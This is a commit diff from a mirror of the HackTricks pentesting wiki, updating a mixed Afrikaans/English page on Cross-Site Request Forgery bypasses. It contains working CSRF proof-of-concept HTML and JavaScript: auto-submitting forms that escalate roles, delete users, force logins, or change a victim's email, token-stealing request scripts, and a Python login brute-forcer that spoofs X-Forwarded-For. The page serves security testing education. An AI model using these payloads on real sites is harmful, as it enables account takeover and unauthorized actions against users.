maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

Browse Source
This commit is contained in:
Translator 2025-09-29 22:43:13 +00:00
parent 426b17045e
commit 39606f6aff
2 changed files with 157 additions and 67 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

223
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Verduidelik
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwetsbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onbewuste gebruikers uit te voer deur hul geauthentiseerde sessies uit te buit. Die aanval word uitgevoer wanneer 'n gebruiker wat by die slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf stuur dan versoeke na die slagoffer se rekening deur metodes soos die uitvoering van JavaScript, die indiening van forms, of die laai van images.
**Cross-Site Request Forgery (CSRF)** is ’n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel ’n aanvaller in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies uit te buit. Die aanval gebeur wanneer ’n gebruiker, wat in ’n slagoffer se platform aangemeld is, ’n kwaadwillige webwerf besoek. Daardie webwerf veroorsaak dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die laai van beelde.
### Voorvereistes vir 'n CSRF-aanval
### Voorvereistes vir ’n CSRF-aanval
Om 'n CSRF-kwetsbaarheid uit te buit, moet verskeie voorwaardes gevul wees:
Om ’n CSRF-kwesbaarheid uit te buit, moet verskeie voorwaardes vervul word:
1. **Identify a Valuable Action**: Die aanvaller moet 'n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord, e-pos te verander, of om voorregte te verhoog.
2. **Session Management**: Die gebruiker se sessie moet slegs deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
3. **Absence of Unpredictable Parameters**: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.
1. **Identifiseer ’n waardevolle aksie**: Die aanvaller moet ’n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord of e-pos te verander, of om privilige te verhoog.
2. **Sessie-bestuur**: Die gebruiker se sessie moet uitsluitlik deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
3. **Afwesigheid van onvoorspelbare parameters**: Die versoek moet geen onvoorspelbare parameters bevat nie, aangesien dit die aanval kan keer.
### Vinnige Kontrole
Jy kan die versoek in Burp vasvang en CSRF-beskermings nagaan; om dit vanaf die blaaier te toets kan jy op **Copy as fetch** klik en die versoek nagaan:
Jy kan die versoek in Burp opvang en CSRF-beskermings nagaan; om dit in die blaaier te toets kan jy op **Copy as fetch** klik en die versoek kontroleer:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -24,31 +24,38 @@ Jy kan die versoek in Burp vasvang en CSRF-beskermings nagaan; om dit vanaf die
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier cookies saam met kruis-domein versoeke stuur. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagoffer se webwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die response van die slagoffer se site gelees word. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Die gebruiker se wagwoord vra of 'n captcha oplos kan die gebruiker se bedoeling bevestig.
- **Checking Referrer or Origin Headers**: Validering van hierdie headers kan help om te verseker dat versoeke van betroubare bronne kom. Tog kan sorgvuldig saamgestelde URLs swak geïmplementeerde kontroles omseil, soos:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier cookies saam met cross-site versoeke stuur. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagofferwebwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die reaksie vanaf die slagoffer-webwerf gelees word. [Learn about CORS bypass](cors-bypass.md).
- **Gebruiker-verifikasie**: Om die gebruiker se wagwoord te vra of ’n captcha op te los, kan die gebruiker se bedoeling verifieer.
- **Kontroleer Referrer of Origin Headers**: Valideer hierdie headers om te verseker dat versoeke van vertroude bronne kom. Wees egter bewus dat swak geïmplementeerde kontroles omseil kan word deur slim saamgestelde URL’s, soos:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Die verander van parametername in POST- of GET-versoeke kan help om geoutomatiseerde aanvalle te voorkom.
- **CSRF Tokens**: Die inkorporering van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verhoog word deur CORS af te dwing.
- **Parametername-wysiging**: Die verander van parametername in POST- of GET-versoeke kan help om geautomatiseerde aanvalle te voorkom.
- **CSRF Tokens**: Insluiting van ’n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.
Om hierdie verdedigings te verstaan en te implementeer is van kritiek belang vir die handhawing van die sekuriteit en integriteit van webtoepassings.
Om hierdie verdedigingstegnieke te verstaan en te implementeer is kritiek vir die instandhouding van die sekuriteit en integriteit van webtoepassings.
## Verdedigingsomseiling
#### Algemene foute in verdediging
### Van POST na GET (method-conditioned CSRF validation bypass)
- SameSite-foute: `SameSite=Lax` laat steeds top-level cross-site navigasies soos skakels en form GETs toe, so baie GET-gebaseerde CSRF’s bly moontlik. Sien cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header-kontroles: Valideer `Origin` wanneer dit teenwoordig is; as beide `Origin` en `Referer` afwesig is, faal toe. Moenie op substring/regex-match van `Referer` staatmaak wat omseil kan word met lookalike-domeine of saamgestelde URL’s nie, en neem kennis van die `meta name="referrer" content="never"` onderdrukkingstruuk.
- Method overrides: Hanteer oor-geschrewe metodes (`_method` of override headers) as state-changing en handhaaf CSRF op die effektiewe metode, nie net op POST nie.
- Login-vloei: Pas CSRF-beskerming ook op login toe; anders maak login CSRF gedwonge her-verifikasie in aanvaller-beheerde rekenings moontlik, wat saam met stored XSS gekoppel kan word.
Sommige toepassings voer slegs CSRF-validasie op POST uit, terwyl hulle dit vir ander HTTP-verbs oorslaan. 'n Algemene anti-patroon in PHP lyk soos:
## Defences Bypass
### From POST to GET (method-conditioned CSRF validation bypass)
Sommige toepassings voer slegs CSRF-validasie op POST uit terwyl hulle dit vir ander verbs oorslaan. ’n Algemene anti-pattern in PHP lyk soos:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
As die kwesbare endpoint ook parameters van $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET-versoek heruitreik en die CSRF token heeltemal weglaat. Dit verander 'n slegs-POST-aksie in 'n GET-aksie wat sonder 'n token slaag.
As die kwesbare endpoint ook parameters vanaf $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET'-versoek heruitvoer en die CSRF-token heeltemal weglaat. Dit omskep 'n POST-only aksie in 'n GET-aksie wat sonder 'n token slaag.
Voorbeeld:
Example:
- Original POST with token (intended):
@ -66,47 +73,87 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
```
Notes:
- Hierdie patroon kom dikwels saam met reflected XSS voor waar responses verkeerdelik as text/html bedien word in plaas van application/json.
- Om dit met XSS te kombineer verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan lewer wat beide die kwesbare kodepaadjie aktiveer en CSRF kontroles heeltemal omseil.
- Hierdie patroon verskyn gereeld saam met reflected XSS, waar antwoorde verkeerdelik as text/html geserveer word in plaas van application/json.
- Dit in kombinasie met XSS verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan verskaf wat beide die kwesbare kodepad aktiveer en CSRF-kontroles heeltemal omseil.
### Geen token
### Gebrek aan token
Aansoeke mag 'n meganisme implementeer om tokens te valideer wanneer dit teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit uitbuit deur die parameter wat die token dra te verwyder, nie net die waarde daarvan nie. Dit laat hulle toe om die validasieproses te omseil en effektief 'n Cross-Site Request Forgery (CSRF) aanval uit te voer.
Aansoeke mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. Daar ontstaan egter 'n kwesbaarheid as die validering heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit misbruik deur **die parameter te verwyder** wat die token dra, nie net die waarde daarvan nie. Dit stel hulle in staat om die valideringsproses te omseil en 'n Cross-Site Request Forgery (CSRF)-aanval effektief uit te voer.
### CSRF token is nie aan die gebruiker se sessie gekoppel nie
Verder kontroleer sommige implementasies slegs dat die parameter bestaan maar valideer nie die inhoud daarvan nie, so **'n leë token-waarde word aanvaar**. In daardie geval is dit genoeg om eenvoudig die versoek met `csrf=` in te stuur:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Aansoeke wat CSRF tokens nie aan gebruiker sessies koppel nie, vorm 'n beduidende veiligheidsrisiko. Sulke stelsels verifieer tokens teen 'n globale pool eerder as om te verseker dat elke token aan die inisierende sessie gebind is.
username=guest&role=admin&csrf=
```
Minimale outomatiese PoC (verberg navigasie met history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token is not tied to the user session
Hoe aanvallers dit uitbuit:
Aansoeke wat **CSRF tokens nie aan gebruikersessies bind nie** vorm 'n noemenswaardige **veiligheidsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die initierende sessie gebind is.
1. Authenticate met hul eie rekening.
2. Verkry 'n geldige CSRF token uit die globale pool.
3. Gebruik hierdie token in 'n CSRF aanval teen 'n slagoffer.
Hier is hoe aanvalers dit misbruik:
Hierdie kwesbaarheid maak dit moontlik vir aanvallers om ongemagtigde versoeke namens die slagoffer te maak deur die toepassing se ondoeltreffende token-validasiemeganisme uit te buit.
1. **Meld aan** met hul eie rekening.
2. **Kry 'n geldige CSRF-token** uit die globale poel.
3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer.
### Metode bypass
Hierdie kwesbaarheid stel aanvalers in staat om ongemagtigde versoeke namens die slagoffer te maak, deur die toepassing se **ontoereikende token-verifikasie-meganisme** uit te buit.
As die versoek 'n "wierd" method gebruik, kyk of die method override-funksionaliteit werk. Byvoorbeeld, as dit 'n PUT method gebruik, kan jy probeer om 'n POST te gebruik en te stuur: https://example.com/my/dear/api/val/num?_method=PUT
### Method bypass
Dit kan ook werk deur die _method parameter binne 'n POST versoek te stuur of deur die headers te gebruik:
If the request is using a "**vreemde**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
As die versoek 'n custom header met 'n token byvoeg as CSRF protection-metode, dan:
As die request 'n **custom header** met 'n **token** byvoeg as **CSRF protection method**, dan:
- Toets die versoek sonder die Customized Token en ook sonder die header.
- Toets die versoek met presies dieselfde lengte maar 'n ander token.
- Toets die request sonder die **Customized Token and also header.**
- Toets die request met presies dieselfde **same length but different token**.
### CSRF token is verified by a cookie
Aansoeke kan CSRF beskerming implementeer deur die token in beide 'n cookie en 'n versoekparameter te dupliseer of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die cookie.
Aansoeke kan CSRF-beskerming implementeer deur die token te dupliseer in beide 'n cookie en 'n request parameter, of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer requests deur te kontroleer of die token in die request parameter ooreenstem met die waarde in die cookie.
Hierdie metode is egter vatbaar vir CSRF-aanvalle as die webwerf foutspasies het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se blaaier te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit uitbuit deur 'n misleidende beeld te laai wat die cookie stel, gevolg deur die inisiering van die CSRF-aanval.
Hierdie metode is egter kwesbaar vir CSRF attacks as die website foutiewe areas het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se browser te stel, soos 'n CRLF vulnerability. Die aanvaller kan dit uitbuit deur 'n misleidende image te laai wat die cookie stel, gevolg deur die initiering van die CSRF attack.
Below is an example of how an attack could be structured:
```html
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Let wel: as die **csrf token verband hou met die session cookie sal hierdie attack nie werk nie** omdat jy die slagoffer se session aan jou moet koppel, en dus jouself sal aanval.
> Let wel dat as die **csrf token verwant is aan die session cookie** sal hierdie aanval nie werk nie, omdat jy die slagoffer se session na jou eie session moet stel, en gevolglik jouself sal aanval.
### Content-Type change
### Content-Type verandering
Volgens [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** versoeke met die **POST**-metode te **voorkom** is die volgende Content-Type-waardes toegelaat:
Volgens [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** requests wat die **POST**-metode gebruik te **vermy**, is die volgende Content-Type waardes toegelaat:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
However, note that the **bedienerlogika kan verskil** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Neem egter kennis dat die **serverlogika kan verskil** afhangende van die gebruikte **Content-Type**, dus moet jy die genoemde waardes probeer en ook ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
Voorbeeld (van [here](https://brycec.me/posts/corctf_2021_challenges)) van die stuur van JSON data as text/plain:
```html
<html>
<body>
@ -162,19 +209,19 @@ form.submit()
</body>
</html>
```
### Om preflight requests vir JSON-data te omseil
### Oorkoming van preflight-versoeke vir JSON-data
Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om `Content-Type: application/json` in 'n HTML-form te gebruik nie. Net so veroorsaak die gebruik van `XMLHttpRequest` om hierdie content type te stuur 'n preflight request. Nietemin bestaan daar strategieë om hierdie beperking moontlik te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:
Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om `Content-Type: application/json` in 'n HTML-form te gebruik nie. Op dieselfde manier veroorsaak die gebruik van `XMLHttpRequest` om hierdie content type te stuur 'n preflight-versoek. Nietemin is daar strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:
1. **Use Alternative Content Types**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
2. **Modify Content Type**: Om 'n preflight request te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit veroorsaak nie 'n preflight request nie maar kan dalk korrek deur die bediener verwerk word as dit gekonfigureer is om `application/json` te aanvaar.
1. **Gebruik alternatiewe Content Types**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
2. **Wysig Content Type**: Om 'n preflight-versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit trigger nie 'n preflight-versoek nie, maar kan moontlik korrek deur die bediener verwerk word as dit gekonfigureer is om `application/json` te aanvaar.
3. **SWF Flash File Utilization**: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
### Referrer / Origin kontrole-omseiling
**Avoid Referrer header**
**Vermy Referrer header**
Aansoeke mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie header stuur, kan die volgende HTML meta-tag gebruik word:
Toepassings mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te verhoed dat 'n browser hierdie header stuur, kan die volgende HTML meta-tag gebruik word:
```xml
<meta name="referrer" content="never">
```
@ -187,7 +234,7 @@ Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringsko
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit so doen:
Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit doen:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -216,17 +263,52 @@ document.forms[0].submit()
</body>
</html>
```
### **Omseiling van HEAD-metode**
### **HEAD metode bypass**
Die eerste deel van [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **handle HEAD requests as GET requests** met geen response body nie — 'n algemene ompad wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudig **given to the GET handler but the app just removes the response body**.
Die eerste deel van [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **handle HEAD requests as GET requests** met geen response body nie — 'n algemene omweg wat nie uniek is aan Oak is nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudigweg **given to the GET handler but the app just removes the response body**.
Daarom, as 'n GET request beperk word, kan jy net **send a HEAD request that will be processed as a GET request**.
## **Exploit Examples**
## **Exploit Voorbeelde**
### Gestoor CSRF via deur gebruikers gegenereerde HTML
Wanneer rich-text editors of HTML injection toegelaat word, kan jy 'n passiewe fetch persisteer wat 'n kwesbare GET endpoint tref. Enige gebruiker wat die inhoud sien, sal outomaties die request met hul cookies uitvoer.
- As die app 'n globale CSRF token gebruik wat nie aan die gebruikersessie gebonde is nie, kan dieselfde token vir alle gebruikers werk, wat gestoor CSRF betroubaar oor slagoffers maak.
Minimale voorbeeld wat die kyker se e-pos verander wanneer dit gelaai word:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF gekoppel aan stored XSS
Login CSRF alleen mag lae impak hê, maar as dit gekoppel word aan 'n authenticated stored XSS, word dit kragtig: dwing die slagoffer om in 'n deur die aanvaller beheerde rekening aan te meld; sodra hulle in daardie konteks is, sal 'n stored XSS op 'n authenticated bladsy uitvoer en kan steal tokens, hijack the session, of escalate privileges.
- Maak seker die login endpoint is CSRF-able (geen per-session token of origin check nie) en dat geen user interaction gates dit blokkeer.
- Na forced login, auto-navigate na 'n bladsy wat die attacker’s stored XSS payload bevat.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltrating CSRF Token**
As 'n **CSRF token** as **defence** gebruik word, kan jy probeer om **exfiltrate it** deur 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwesbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwesbaarheid te misbruik.
Indien 'n **CSRF token** gebruik word as **defence** kan jy probeer **exfiltrate it** deur misbruik te maak van 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwetsbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwetsbaarheid.
### **GET using HTML tags**
```xml
@ -281,7 +363,7 @@ document.forms[0].submit()
</body>
</html>
```
### Formulier POST-versoek
### Vorm POST request
```html
<html>
<body>
@ -332,7 +414,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ajax POST-versoek**
### **Ajax POST request**
```html
<script>
var xh
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST versoek v2
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Form POST-versoek van binne 'n iframe
### Form POST request van binne 'n iframe
```html
<--! expl.html -->
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Steel CSRF Token en stuur 'n POST request**
### **Steel CSRF Token en stuur 'n POST versoek**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Steel CSRF Token en stuur 'n Post request met 'n iframe, 'n form en Ajax**
### **Steel CSRF Token en stuur 'n Post request deur 'n iframe, 'n form en Ajax**
```html
<form
id="form1"
@ -501,7 +583,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Steel CSRF Token en stuur 'n POST request met behulp van 'n iframe en 'n form**
### **Steel CSRF Token en stuur 'n POST versoek deur 'n iframe en 'n form**
```html
<iframe
id="iframe"
@ -617,7 +699,7 @@ room: username,
```
## CSRF Login Brute Force
Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer wat 'n CSRF token gebruik (Dit gebruik ook die header X-Forwarded-For om te probeer om 'n moontlike IP blacklisting te omseil):
Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer deur 'n CSRF token te gebruik (dit gebruik ook die header X-Forwarded-For om te probeer 'n moontlike IP blacklisting te omseil):
```python
import request
import re
@ -665,6 +747,7 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
## Verwysings
@ -673,5 +756,11 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}